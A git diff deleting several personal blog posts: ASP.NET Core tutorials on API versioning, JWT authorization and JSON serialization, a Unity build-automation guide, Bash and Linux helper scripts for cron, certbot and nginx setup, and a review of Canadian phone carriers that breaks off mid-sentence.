https://github.com/domaindrivendev/Swashbuckle.AspNetCore/blob/b7cf75e7905050305b115dd96640ddd6e74c7ac9/src/Swashbuckle.AspNetCore.SwaggerGen/SwaggerGenerator/SwaggerGenerator.cs#L383-L387 - var responseKey = responseType.IsDefaultResponse ? "default" : responseType.StatusCode.ToString(); - var response = operation.Responses[responseKey]; - - foreach (var contentType in response.Content.Keys) { - if (!responseType.ApiResponseFormats.Any(x => x.MediaType == contentType)) { - response.Content.Remove(contentType); - } - } - } - - if (operation.Parameters == null) return; - - // REF: https://github.com/domaindrivendev/Swashbuckle.AspNetCore/issues/412 - // REF: https://github.com/domaindrivendev/Swashbuckle.AspNetCore/pull/413 - foreach (var parameter in operation.Parameters) { - var description = apiDescription.ParameterDescriptions.First(p => p.Name == parameter.Name); - - parameter.Description ??= description.ModelMetadata?.Description; - - if (parameter.Schema.Default == null && description.DefaultValue != null && - description.DefaultValue is not DBNull && description.ModelMetadata is ModelMetadata modelMetadata) { - // REF: https://github.com/Microsoft/aspnet-api-versioning/issues/429#issuecomment-605402330 - var json = JsonSerializer.Serialize(description.DefaultValue, modelMetadata.ModelType); - parameter.Schema.Default = OpenApiAnyFactory.CreateFromJson(json); - } - - parameter.Required |= description.IsRequired; - } - } -} -``` - -### Controller Example - -```cs -[Route("[controller]/[action]")] -[ApiController] -[Authorize] -// since we are defining a version 2, we want to inform ASP.NET that the other routes are version 1, you can experiment without this at first just to see the result -[ApiVersion(1.0)] -public class PaymentController : ControllerBase { - // this is Version 1 - [HttpGet] - public async Task> Invoice(string payee) { - // implementation omitted - } - - [HttpGet] - [ApiVersion(2.0)] - [ActionName(nameof(Invoice))] - public async Task> InvoiceV2(string payee) { - // implementation omitted - } -} -``` - -```cs -// gate-keep entire API to reduce possibility of unofficial clients -[Route("[controller]/[action]")] -[ApiController] -[Authorize] -public class CarsController : Controller { - private readonly CarService _carService; - - public CarsController(CarService carService) { - _carService = carService; - } - // this is implicitly Version 1 - [HttpGet] - public async Task> Owned() { - var cars = await _carService.GetOwned(User.FindFirstValue(ClaimTypes.Email)!); - return cars!; - } -} -``` - -### Client Example - -In the future, I will provide samples in Kotlin and Swift as well. For now, here's a JS implementation. Just use an LLM to get code for the language of the client you are writing. - -```js -// note that jwtFetch is just a wrapper around fetch that does auto logging out and .json() conversion when applicable -export async function paymentInvoice(jwt, logout, payee) { - const response = await jwtFetch(`payment/invoice?payee=${payee}`, logout, { - method: 'GET', - headers: { ...buildAuthHeader(jwt), 'x-ms-version': '2.0' }, - }); - return response; -} -``` diff --git a/content/posts/aspnet-global-json-options.md b/content/posts/aspnet-global-json-options.md deleted file mode 100644 index 1c5aba7ae..000000000 --- a/content/posts/aspnet-global-json-options.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: "ASP.NET Core Global Json Options" -date: 2023-07-23T15:48:46-04:00 -draft: false -tags: - - tutorial - - programming - - c-sharp - - asp.net -summary: "Explains how to access global JSON serializer options in ASP.NET Core using dependency injection for consistent serialization/deserialization outside of controllers." ---- - -When adding JSON options to an ASP.NET controller, these options do not apply to manual uses of the json serializer. -Therefore, if you want to use the same options for other serializing or deserializing, you can use dependency injection. - -```cs -using Microsoft.AspNetCore.Mvc; -using Microsoft.Extensions.Options; - -namespace Api.Services; - -public Constructor(IOptions jsonOptions) { - var serializerOptions = jsonOptions.Value.JsonSerializerOptions; -} -``` - -If you don't know how to set default Json serializer options for the controller, read [ASP.NET Core Optional Json Fields](/posts/aspnet-optional-json-fields). - -I'm not sure why this was a draft, but I made it public again. diff --git a/content/posts/aspnet-http-error-responses.md b/content/posts/aspnet-http-error-responses.md deleted file mode 100644 index 45cf4fac1..000000000 --- a/content/posts/aspnet-http-error-responses.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: "ASP.NET Core HTTP Error Responses Best Practice?" -date: 2023-07-01T17:29:24-04:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "Demonstrates returning HTTP error responses with strongly-typed responses in ASP.NET Core using ActionResult for validation and authorization." ---- - -How do you return a bad request or an unauthorized response in ASP.NET while also being -able to return a strongly typed response? I present to you `ActionResult`. Here -is an example of me using ActionResult to validate the request as well as to check authorization. -Since this is an example, is it not for copy-pasting but rather to show you how to use `ActionResult` in practice. - -```cs -// one of these is imports may be relevant -using System.Security.Claims; -using Microsoft.AspNetCore.Authorization; -using Microsoft.AspNetCore.Mvc; - -[HttpPost] -public async Task> New(StartRideRequest startRideRequest) { - var email = User.FindFirstValue(ClaimTypes.Email); - if (email == null) return Unauthorized(); - if (!_dataValidationService.validCurrency(startRideRequest.Currency)) { - HttpContext.Features.Set(new ArgumentException("invalid currency")); - return BadRequest("invalid currency"); - } - // ... - return Ok("id"); -} -``` diff --git a/content/posts/aspnet-jwt-authorization.md b/content/posts/aspnet-jwt-authorization.md deleted file mode 100644 index 498130d61..000000000 --- a/content/posts/aspnet-jwt-authorization.md +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: "ASP.NET Core JWT Authorization" -date: 2023-05-03T13:14:55-04:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "A concise tutorial on implementing JWT authorization in ASP.NET Core, with code examples for configuration, setup, token generation, and securing API routes." ---- - -Don't feel like explaining my code, so just copy and modify it for yourself as I can assure you it's one of the cleanest you can find. - -I removed my login handling code since you can do that yourself. My login code was send login code to email via postmark and verify it. I was also using a MongoDB database. - -The project is called "SttApi" so replace that with your own project name. - -
appsettings.json - -```json -{ - ... - "Jwt": { - "Key": "Generate a key using Python secrets.token_hex(64) or similar", - "Issuer": "https://localhost:44355/", // url of the project, am using development settings - "Audience": "https://localhost:44355/" - } -} -``` - -
- -
Program.cs - -```cs -using Microsoft.AspNetCore.Authentication.JwtBearer; -using Microsoft.IdentityModel.Tokens; -using Microsoft.OpenApi.Models; - -// ---------------- OTHER CODE ---------------- - -public static void Main(string[] args) { - var builder = WebApplication.CreateBuilder(args); - - // ---------------- OTHER CODE ---------------- - - // Swagger UI Authorization - builder.Services.AddSwaggerGen(option => { - option.AddSecurityDefinition("Bearer", new OpenApiSecurityScheme { - In = ParameterLocation.Header, - Description = "Please enter a valid token", - Name = "Authorization", - Type = SecuritySchemeType.Http, - BearerFormat = "JWT", - Scheme = "Bearer" - }); - option.AddSecurityRequirement(new OpenApiSecurityRequirement{{ - new OpenApiSecurityScheme { Reference = new OpenApiReference { - Type=ReferenceType.SecurityScheme, - Id="Bearer" - }}, - Array.Empty() - } - }); - }); - - //JWT Authentication - builder.Services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme).AddJwtBearer(options => { - options.TokenValidationParameters = new TokenValidationParameters { - ValidateIssuer = true, - ValidateAudience = true, - ValidateLifetime = true, - ValidateIssuerSigningKey = true, - ValidIssuer = builder.Configuration["Jwt:Issuer"], - ValidAudience = builder.Configuration["Jwt:Audience"], - IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(builder.Configuration["Jwt:Key"])) - }; - }); - // ---------------- OTHER CODE ---------------- - var app = builder.Build(); - // ---------------- OTHER CODE ---------------- -} -// ---------------- OTHER CODE ---------------- -``` - -
- -
AuthController.cs - -```cs -// Controllers/AuthController.cs -using System.IdentityModel.Tokens.Jwt; -using System.Linq; -using System.Security.Claims; -using System.Text; -using Microsoft.AspNetCore.Authorization; -using Microsoft.AspNetCore.Mvc; -using Microsoft.IdentityModel.Tokens; -using SttApi.Models; -using SttApi.Services; - -// Controller for handling user signup and login with code sent to email -// https://learn.microsoft.com/aspnet/core/tutorials/first-mongo-app?WT.mc_id=dotnet-35129-website&view=aspnetcore-7.0&tabs=visual-studio -// https://learn.microsoft.com/aspnet/core/tutorials/first-web-api?view=aspnetcore-7.0&tabs=visual-studio - -namespace SttApi.Controllers; - -[ApiController] -[Route("[controller]/[action]")] -public class AuthController : ControllerBase { - private readonly SigningCredentials credentials; - private readonly string jwtIssuer; - private readonly string jwtAudience; - private readonly JwtSecurityTokenHandler jwtSecurityTokenHandler; - - public AuthController(IConfiguration config) { - jwtIssuer = config["Jwt:Issuer"]; - jwtAudience = config["Jwt:Audience"]; - jwtSecurityTokenHandler = new JwtSecurityTokenHandler(); - var securityKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(config["Jwt:Key"])); - credentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256); - } - - [HttpPost] - public string Login() { - // LOGIN VERIFICATION CODE GOES HERE - // in general you will have to add a RequestBody parameter (just a Class) - // and you will need to make the return type another class - // you will also most likely need to return Task because of await/async usages - // and JsonWebToken will be just a field of that type - return GenerateToken("email"); - } - -#if DEBUG - [HttpGet] - [Authorize(Roles = "User")] - public string TestAuthorization() { - var email = User.FindFirstValue(ClaimTypes.Email); - return $"Your email is {email}"; - } -#endif - - private string GenerateToken(string email) { - var claims = new[] { new Claim(ClaimTypes.Email, email), new Claim(ClaimTypes.Role, "User") }; - var token = new JwtSecurityToken(jwtIssuer, jwtAudience, claims, signingCredentials: credentials); - // client needs to save JWT as well incldue it in the Authorization Bearer Token header of subsequent requests - return jwtSecurityTokenHandler.WriteToken(token); - } -} -``` - -DO NOT USE JwtRegisteredClaimNames AS YOU WILL SPEND OVER AN HOUR DEBUGGING ISSUES!! - -
- -## Gate-keeping Routes and Reading User Claims - -I'm making this separate because it's a common issue and the following way is the best way to get a claim. You can use `[Authorize(Roles = "...")]` in order to gate keep a single route or all routes of a controller (put the macro before the controller in the latter case). - -This is a method I have in my auth controller for faster debugging since I'm doing backend and frontend for a new project. - -```cs -#if DEBUG - [HttpGet] - [Authorize(Roles = "User")] - public string TestAuthorization() { - // JwtRegisteredClaimNames - var email = User.FindFirstValue(ClaimTypes.Email); - return $"Your email is {email}"; - } -#endif -``` diff --git a/content/posts/aspnet-name-routes-after-methods.md b/content/posts/aspnet-name-routes-after-methods.md deleted file mode 100644 index 6fc11d5ae..000000000 --- a/content/posts/aspnet-name-routes-after-methods.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: "ASP.NET Core Name Routes After Methods" -date: 2023-05-28T18:10:09-04:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "Configure ASP.NET Core routes to automatically follow method names using `[Route(\"[controller]/[action]\")]` on the controller, reducing the need for individual route decorators and streamlining API development." ---- - -Suppose you want to avoid using decorators for every public method you write and you just want the route to following the same convention as your methods in your controller. -Adapt the following for your own use. The Route decorator indicates that the route for the following will be `auth/request-token` if your API is using the [kebab-case route configuration](/posts/aspnet-kebab-case-routes). If you aren't using kebab-case routing, then the expected route below would be something like `Auth/RequestToken`. - -NOTE: If you are writing a backend that serves a frontend (HTML or a webapp), then I suggest using an "api" prefix like so: `[Route("api/[controller]/[action]")]`. - -```cs -[ApiController] -[Route("[controller]/[action]")] -public class AuthController : ControllerBase { - // CODE - [HttpGet] - public async Task RequestToken(string email) { - // CODE - } -} -``` diff --git a/content/posts/aspnet-optional-json-fields.md b/content/posts/aspnet-optional-json-fields.md deleted file mode 100644 index 1aae0d3c2..000000000 --- a/content/posts/aspnet-optional-json-fields.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: "ASP.NET Core Optional Json Fields" -date: 2023-01-29T14:03:20-05:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "Handle optional JSON fields and serialize enums as strings in ASP.NET Core. Configure `JsonSerializerOptions` globally or use attributes for precise control over JSON output." ---- - -Also featured in this article is enum to string converter. - -## ASP.NET Backend - -```cs -builder.Services.AddControllersWithViews(options => { - options.Conventions.Add(new RouteTokenTransformerConvention( - new SlugifyParameterTransformer())); - - }).AddJsonOptions(options => { - options.JsonSerializerOptions.NumberHandling = JsonNumberHandling.AllowReadingFromString; - options.JsonSerializerOptions.PropertyNamingPolicy = JsonNamingPolicy.CamelCase; // JSON response is in camelCase - options.JsonSerializerOptions.DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull; // null not serialized - options.JsonSerializerOptions.Converters.Add(new JsonStringEnumConverter()); // enums to string - // options.JsonSerializerOptions.IncludeFields = true; // if you want to [de]serialize fields (i.e. get or set are omitted in the class) - }); -``` - -## Client Side - -```cs -internal class Api { - // Insert variables below here - protected static HttpClient _client; - protected static string BASE_URL = "http://10.0.2.2:5284/"; - // protected static string BASE_URL = "https://api.domain.com/"; - private static readonly ILogger _logger = typeof(Api).Log(); - private static JsonSerializerOptions _serializerOptions; - - static Api() { - _client = new HttpClient(); - _serializerOptions = new() { - PropertyNamingPolicy = JsonNamingPolicy.CamelCase, - DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull - }; - _serializerOptions.Converters.Add(new JsonStringEnumConverter()); - } - - public string serializePayload(T value) { - return JsonSerializer.Serialize(value, _serializerOptions); - } - - public T deserializePayload(string payload) { - return JsonSerializer.Deserialize(payload, _serializerOptions); - } -} -``` - -### Generalized - -
-Fields - -| Field | Description | -| --------------------------- | ---------------- | -| Always | Property is always ignored | -| Never | Property is always serialized and deserialized, regardless of IgnoreNullValues configuration | -| WhenWritingDefault | Property is ignored only if it equals the default value for its type | -| WhenWritingNull | Property is ignored if its value is null. This is applied only to reference-type properties and fields | - -For readers in a decade or so, see [JsonIgnoreCondition](https://learn.microsoft.com/dotnet/api/system.text.json.serialization.jsonignorecondition#fields) - -
- -
- -```c# -using System.Text.Json.Serialization; - -namespace MyApi.Models; - -public enum LoginErrors { - InvalidEmail, - TooManyRequests, -} - -public class StartLoginResponse { - [JsonConverter(typeof(JsonStringEnumConverter))] - // this right here: - [JsonIgnore(Condition = JsonIgnoreCondition.WhenWritingNull)] - public LoginErrors? Error { get; set; } -} -``` diff --git a/content/posts/aspnet-serialize-enum-as-string.md b/content/posts/aspnet-serialize-enum-as-string.md deleted file mode 100644 index cebd61dad..000000000 --- a/content/posts/aspnet-serialize-enum-as-string.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: "ASP.NET Core Serialize Enum as String" -date: 2023-01-29T14:05:19-05:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "Learn how to serialize enums as strings in ASP.NET Core for consistent JSON handling on both the backend and client-side using `JsonStringEnumConverter`." ---- - -## ASP.NET Backend - -```cs -builder.Services.AddControllersWithViews(options => { - options.Conventions.Add(new RouteTokenTransformerConvention( - new SlugifyParameterTransformer())); - - }).AddJsonOptions(options => { - options.JsonSerializerOptions.NumberHandling = JsonNumberHandling.AllowReadingFromString; - options.JsonSerializerOptions.PropertyNamingPolicy = JsonNamingPolicy.CamelCase; // JSON response is in camelCase - options.JsonSerializerOptions.DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull; // null not serialized - options.JsonSerializerOptions.Converters.Add(new JsonStringEnumConverter()); // enums to string - }); -``` - -## Client Side - -```cs -internal class Api { - // Insert variables below here - protected static HttpClient _client; - protected static string BASE_URL = "http://10.0.2.2:5284/"; - // protected static string BASE_URL = "https://api.domain.com/"; - private static readonly ILogger _logger = typeof(Api).Log(); - private static JsonSerializerOptions _serializerOptions; - - static Api() { - _client = new HttpClient(); - _serializerOptions = new() { - PropertyNamingPolicy = JsonNamingPolicy.CamelCase, - DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull - }; - _serializerOptions.Converters.Add(new JsonStringEnumConverter()); - } - - public string serializePayload(T value) { - return JsonSerializer.Serialize(value, _serializerOptions); - } - - public T deserializePayload(string payload) { - return JsonSerializer.Deserialize(payload, _serializerOptions); - } -} -``` - -### Generalized - -```c# -using System.Text.Json.Serialization; - -namespace MyApi.Models; - -public enum LoginErrors { - InvalidEmail, - TooManyRequests, -} - -public class StartLoginResponse { - // this right here: - [JsonConverter(typeof(JsonStringEnumConverter))] - [JsonIgnore(Condition = JsonIgnoreCondition.WhenWritingNull)] - public LoginErrors? Error { get; set; } -} -``` diff --git a/content/posts/aspnet-serve-embedded-resource.md b/content/posts/aspnet-serve-embedded-resource.md deleted file mode 100644 index 2bec26382..000000000 --- a/content/posts/aspnet-serve-embedded-resource.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: "ASP.NET Core Serve Embedded Resource" -date: 2023-06-02T14:09:28-04:00 -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "Tutorial on serving embedded resources in ASP.NET Core for debugging/simple scenarios, covering .csproj configuration and C# examples for accessing resources." ---- - -You really shouldn't be serving static files from the server but rather a reverse proxy like NGINX or something like an S3 bucket. However, what if you are just doing some debugging? In that case, here are three examples of reading an embedded resource in different contexts. - -The embedded resource that needs to be accessed are `SttApi/Assets/SwaggerDark.css` -and `SttApi/Assets/getmakes.json` where SttApi is the project name. - -First we need to make the resource embedded. You can either do this through the properties panel in Visual Studio or by manually editing the `Proj/Proj.csproj` like so: - -```xml - - - - - - - - - -``` - -At least on Windows, it doesn't matter if the path separator is \ or /. - -### Example 1 Program.cs - -```cs -// Program.cs -using System.Reflection; -// scope skipped for conciseness - app.MapGet("/css/SwaggerDark.css", () => { - var assembly = Assembly.GetExecutingAssembly(); - return Results.Stream(assembly.GetManifestResourceStream("SttApi.Assets.SwaggerDark.css")!, "text/css"); - }).ExcludeFromDescription(); -``` - -### Example 2 Controller.cs - -```cs -// ExampleController.cs -using System.Reflection; -// scope skipped for conciseness - [HttpGet] - public IResult EmbeddedResource() { - var assembly = Assembly.GetExecutingAssembly(); - return Results.Stream(assembly.GetManifestResourceStream("SttApi.Assets.SwaggerDark.css")!, "text/css"); - } -``` - -### Example 3 Service.cs - -```cs -// ExampleService.cs -using System.Reflection; -// scope skipped for conciseness - var assembly = Assembly.GetExecutingAssembly(); - IEnumerable carMakes = JsonSerializer.Deserialize>(assembly.GetManifestResourceStream("SttApi.Assets.getmakes.json")!)!; -``` diff --git a/content/posts/aspnet-swagger-dark-theme.md b/content/posts/aspnet-swagger-dark-theme.md deleted file mode 100644 index ab7c44dce..000000000 --- a/content/posts/aspnet-swagger-dark-theme.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: "ASP.NET Core Swagger Dark Theme" -date: 2023-06-02T12:49:14-04:00 -draft: false -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "In .NET 9, please use Scalar. Add a dark theme to your ASP.NET Core Swagger UI. This guide provides two methods: serving a CSS file from wwwroot or using an embedded resource." ---- - -Note. Starting in .NET 9, ASP.NET ships OpenAPI and thus I suggest using [Scalar](https://guides.scalar.com/scalar/scalar-api-references/net-integration) instead which comes with a built-in dark theme. I will add a Scalar tutorial for WebAPI / Authentication. - -_For the SEO_: How to add dark theme to Swagger UI ASP.NET? Follow these instructions. - -If you have guidelines for other frameworks, feel free to email me your code so I can add it to the [README.md](https://github.com/elibroftw/SwaggerDark/tree/master) - -There's two ways to accomplish this. One is to use serve static files and the other is to only serve the static file (through embedded resource). I'll give instructions just in case. - -### Serving From Static Folder - -Create [ProjectName/wwwroot/css/SwaggerDark.json](https://github.com/elibroftw/SwaggerDark/blob/master/SwaggerDark.css) in your project. You need to create these folders if they do not exist. If you have guidelines for other frameworks, feel free to email me your code so I can add it to the [README.md](https://github.com/elibroftw/SwaggerDark/tree/master) - -In Program.cs: - -```cs -app.UseStaticFiles(); // ADD THIS LINE -if (app.Environment.IsDevelopment()) { - app.UseHttpLogging(); - app.UseSwagger(); - app.UseSwaggerUI(c => { - c.EnableTryItOutByDefault(); - c.InjectStylesheet("/css/SwaggerDark.css"); // ADD THIS LINE - }); - } -``` - -### Serving From an Embedded Resource - -I don't really recommend this route anymore, as it adds complexity for serving static files. - -Create [ProjectName/Assets/SwaggerDark.json](https://github.com/elibroftw/SwaggerDark/blob/master/SwaggerDark.css) in your project. You need to create the asset folder if it does not exist. - -In Program.cs: - -```cs -using System.Reflection; - -if (app.Environment.IsDevelopment()) { - app.UseHttpLogging(); - app.UseSwagger(); - app.UseSwaggerUI(c => { - c.EnableTryItOutByDefault(); - c.InjectStylesheet("/css/SwaggerDark.css"); // ADD THIS LINE - }); - // add this: - app.MapGet("/css/SwaggerDark.css", () => { - var assembly = Assembly.GetExecutingAssembly(); - // SttApi to ProjectName - return Results.Stream(assembly.GetManifestResourceStream("SttApi.Assets.SwaggerDark.css")!, "text/css"); - }).ExcludeFromDescription(); - } -``` - -In `ProjectName/ProjectName.csproj`: - -```xml - - - - - - - - -``` - -You may need to hard restart your app for the changes to take effect. - -![Screenshot 1 of Swagger Dark Theme](https://raw.githubusercontent.com/Amoenus/SwaggerDark/master/SwaggerDark.png "Swagger Dark Theme Screenshot 1") - -![Screenshot 2 of Swagger Dark Theme](https://raw.githubusercontent.com/elibroftw/SwaggerDark/master/SwaggerDark2.png "Swagger Dark Theme Screenshot 2") diff --git a/content/posts/automate-unity-building.md b/content/posts/automate-unity-building.md deleted file mode 100644 index c085c7d9e..000000000 --- a/content/posts/automate-unity-building.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: "Automate Unity Building" -date: 2020-06-21T11:11:24-05:00 -draft: false -tags: - - tutorial - - programming - - python - - c-sharp -summary: "Automate your Unity building process with a step-by-step guide on creating build scripts and integrating them with Unity Hub. Learn to streamline builds for various platforms and prepare for CI/server integration." ---- - -It took me hours to figure out how to create a simple build script in Unity, even after watching videos, I was really confused. -So why not write an article so that other developers won't need to spend that much time themselves. - -## Getting Started - -Before we get started make sure you have the necessary build supports needed. In Unity Hub you can see your installations. - -![Unity installation screenshot](/images/automate-unity-building/unity-hub.webp) - -If not, you'll have to click the three dots, and then click "Add Modules." -Next, we will need to create a script named something like `BuildScript.cs`. -Make sure this file is placed in `Assets/Editor`. -This file will be responsible in calling Unity BuildPlayer as well as adding menu items for you to quickly build for your platform(s) of choice. - -[BuildScript.cs](https://gist.github.com/elibroftw/149c230518e3e0d9af54d9c472c2ee84#file-buildscript-cs) - -Next copy the code below. Disclaimer: this code uses the scenes from your build settings so make sure the scenes there are correct. -You can ignore the last function if you want, I just kept it there in case you need to use Asset Bundles (I did not). -With this script you can call the build methods from "File > Build All" and Unity will build the players to the "Builds" directory in your project root. - -![Unity build menu](/images/automate-unity-building/unity-hub.webp) - -This takes care of building from the editor but what if you were using CI/server to build it for you? -You will need to make a shell/batch script or you can use Python so that the OS won't matter. - -[UnityBuild.py](https://gist.github.com/elibroftw/be1f6ad737ccde25e86f858f2f11629f#file-unitybuild-py) - -You may have to modify some variables such as `UNITY` and also the zipping process if you don't want to zip the builds. -You may also pair this up with an Ino setup script like so `iscc setup_script.iss`. -I hope you found this tutorial helpful because I sure would've. - -## Resources - -[Build Player Pipeline](https://docs.unity3d.com/Manual/BuildPlayerPipeline.html) - -[Unity Command line arguments](https://docs.unity3d.com/Manual/CommandLineArguments.html) diff --git a/content/posts/bash-helpers.md b/content/posts/bash-helpers.md deleted file mode 100644 index 1e95f681a..000000000 --- a/content/posts/bash-helpers.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: "Bash & Linux Helpers" -date: 2022-02-14T14:06:30-05:00 -draft: false -tags: - - tutorial - - programming - - devops - - bash - - linux -summary: "A collection of Bash and Linux helper scripts and concepts. It covers Bash argument parsing with flags (alternative to getopts), conditional logic, and loops. Includes snippets." ---- - -It seems that many article tutorials on `bash` are ugly, are suboptimal, and are not straight forward. -My goal is for this file to be a reference file whenever I need to do scripting after a long time. -One important concept in bash, is that an exit code of 0 indicates True, not False. Which seems counterintuitive if you program in -any non-scripting language like C/C++ or Python. - -## Bash - Argument Parsing and Flags - -If you don't get what's going on, refer to the [cheatsheet](https://devhints.io/bash). - -### Concepts - -- getopts is overkill, so here is an alternative. -- "Booleans" using string comparison -- Conditionals (if, elif, else, AND &&, OR ||) -- For loop - -```bash -supplied_arg="default" -# iterate all arguments -for arg in "$@"; do - # use [[ ]] to avoid double quoting variables - if [[ $last_arg = "--supply" ]]; then - supplied_arg="$arg" - last_arg="" - # OR || - elif [[ $arg = "--flag1" ]] || [[ $arg = "--flag" ]]; then - flag1=true - # elif, AND && - elif [[ $arg = "--override" ]] && [[ ! $supplied_arg = "default" ]]; then - # ignore the redundancy, this is to showcase && - flag_override=true - else - # you can do something with these args here - # wc -l "$arg" - # or you can set last_arg in order to parse `--something ARG` - last_arg="$arg" - # end of if statement - fi -# done loop (for or while) -done - -# check if flag supplied -if [ flag1 = true]; then - echo "got --flag1 or --flag" -else - notGot="got neither --flag1 nor --flag" -fi -# flag not supplied (since variable was never set, we check ! = true rather than = false) -if [ ! flag1 = true ]; then - echo $notGot -fi -``` - -## Linux - Add to PATH - -- A better approach than appending a statement to `PATH="$PATH:/new/path">> ~/.bashrc` -- TODO: add instructions - -## Linux - Add Cronjob - -- automated approach -- adds the cronjob if not exists -- prevents concurrent/overlap runs - -```bash -add_cronjob() { - # crontab will not set the working directory - # create locks directory if it does not exist - mkdir -p ~/locks - # my sample job uses flock to prevent overlapping runs - # minute hour day month day_of_week - # /X means divisible by X - cronjob="*/1 * * * * flock -n ~/locks/auto_deploy_$PROJECT.lock $PYTHON $(pwd)/cronjob.py" - # cronjob.py will set the working directory - if ! crontab -l &>/dev/null; then - # crontab file does not exist - echo "$cronjob" | crontab - - echo "Created new crontab with job" - elif ! crontab -l 2>/dev/null | grep -Fq "$cronjob"; then - # job not found in crontab - echo $(crontab -l ; echo "$cronjob") | crontab - - echo "Added $cronjob ... to existing crontab" - else - echo "Job already exists in crontab" - fi -} -``` - -## Linux - Add Systemd Service - -- I used lots of echos and tee \[-a] -- In order to work with spaces in an argument, I created strings with `\'$VAR\'` -- TODO: add code - -## Linux - Auto Setup Certbot - -```bash -# Context: -# define $DOMAIN (e.g. lenerva.com) -install_certbot() { - sudo snap install core; sudo snap refresh core - sudo snap install --classic certbot - sudo ln -s /snap/bin/certbot /usr/bin/certbot - sudo certbot --nginx -d $DOMAIN -d www.$DOMAIN -} -``` - -## Linux - Auto Configure NGINX - Gunicorn - -Something is wrong if you need to use this script. It's a suboptimal way to deploy a webapp. - -This works for me but it is possible to fail for you without editing `/etc/nginx/nginx.conf` manually server name hashes to 128 - -```bash -# Context: -# define $DOMAIN beforehand (e.g. lenerva.com) -# define $PROJECT beforehand (e.g. my-project) -# pwd is currently the project root directory -configure_nginx() { - # configure nginx - sudo apt install nginx -y - - sudo mkdir -p /var/www/$DOMAIN/html - sudo chown -R "$USER":"$USER" /var/www/$DOMAIN/html - sudo chmod -R 755 /var/www/$DOMAIN - - echo "server {" | sudo tee /etc/nginx/sites-available/$PROJECT >/dev/null - echo " listen [::]:80;" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - echo " listen 80;" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - echo " location / {" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - echo " include proxy_params;" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - echo " proxy_pass http://unix:$(pwd)/gunicorn.sock;" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - echo " }" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - echo "}" | sudo tee -a /etc/nginx/sites-available/$PROJECT >/dev/null - - sudo ln -s "/etc/nginx/sites-available/$PROJECT" /etc/nginx/sites-enabled - - # TODO: if publishing script, also set max server name hashes to 128 in /etc/nginx/nginx.conf - # uncomment below if it didn't work - # nano /etc/nginx/nginx.conf - sudo systemctl restart nginx - # Firewall - sudo ufw allow 'Nginx Full' -} -``` diff --git a/content/posts/best-cell-phone-carriers-canada.md b/content/posts/best-cell-phone-carriers-canada.md deleted file mode 100644 index 7f25e92af..000000000 --- a/content/posts/best-cell-phone-carriers-canada.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: "Best Cell Phone Carriers Canada" -date: 2024-01-02T18:14:11-05:00 -draft: false -tags: - - canada - - tech - - opinion -summary: "Review of Canadian cell phone carriers for individuals based on Boxing Day 2023 deals, ranking Public Mobile first for its website and plans, followed by Freedom Mobile, Virgin Plus, Koodo, and Fido." ---- - -So I got a look at the boxing day deals and all the 4 carriers had $34 for 50GB of data per month. I thought I had a good deal at $39 for 25GB per month! I even fought on the phone with Koodo about it during the summer since they were offering 20GB for $39 at the time and I was paying $40 for 6GB. I had switched to Koodo from Fredumb Mobile either in 2022 or something. - -So here is my list of the best cell phone carriers. - -## For Individuals - -### 1. Public Mobile - -During the boxing week sale, I looked at all alternatives and only Public Mobile had a functional and snappy website that let me purchase the plan online. Not only that, but Public Mobile had cheaper boxing day deals for different data. During boxing week they had a $24 for 4G 4GB plan, a $29 for 4G 30GB, and a $34 for 5G 50GB plan which all the other carriers in this list were offering. I am also thankful for Public Mobile offering a eSIM check tool although I'm not sure it works effectively since it reported that the IMEI of my Pixel 7, a phone known to support eSIM, does not support it. So I got a free physical SIM card instead which is great nonetheless. - -Public Mobile is owned by Telus. - -#### 2. Freedom Mobile - -Previously known as Wind mobile, they used to be the go to carrier for affordable plans, but the reality is that they can turn into the other carriers in just a couple years. I'm only putting them at the second spot because they have decided to offer a $29/month $20GB boxing day deal without any upfront fees which is a plus from before. 30GB is better than 20GB but who knows what the plans will be in the future. - -I will admit I ordered from Public Mobile before looking at the cheaper Freedom plans because I had a low opinion of them. - -Subsidiary of Quebecor after Rogers acquired Shaw. - -### 3. Virgin Plus - -Virgin Plus was offering a $34/month 50GB plan that would come with 5G but their checkout wasn't working. If their checkout was working, I would've gone with them since I did even have the public mobile website open. The only reason Virgin Mobile comes second is because they have agents that you can talk to very easily unlike Fido and Koodo. - -Subsidiary of Bell. - -### 4. Koodo - -Although I was switching away from Koodo, Koodo's own boxing day deal was also $34/month 50GB and unlike Fido I knew you would get 5G. It's just unfortunate that Koodo did not call me back like they did in the summer otherwise if they upgraded my plan for FREE I wouldn't have even written this blog post. I can also vouch that Koodo's online checkout works. - -Koodo is owned by Telus, so that's hilarious. - -### 5. Fido - -Fido was also offering the $34/month 50GB boxing day deal however Fido's website is 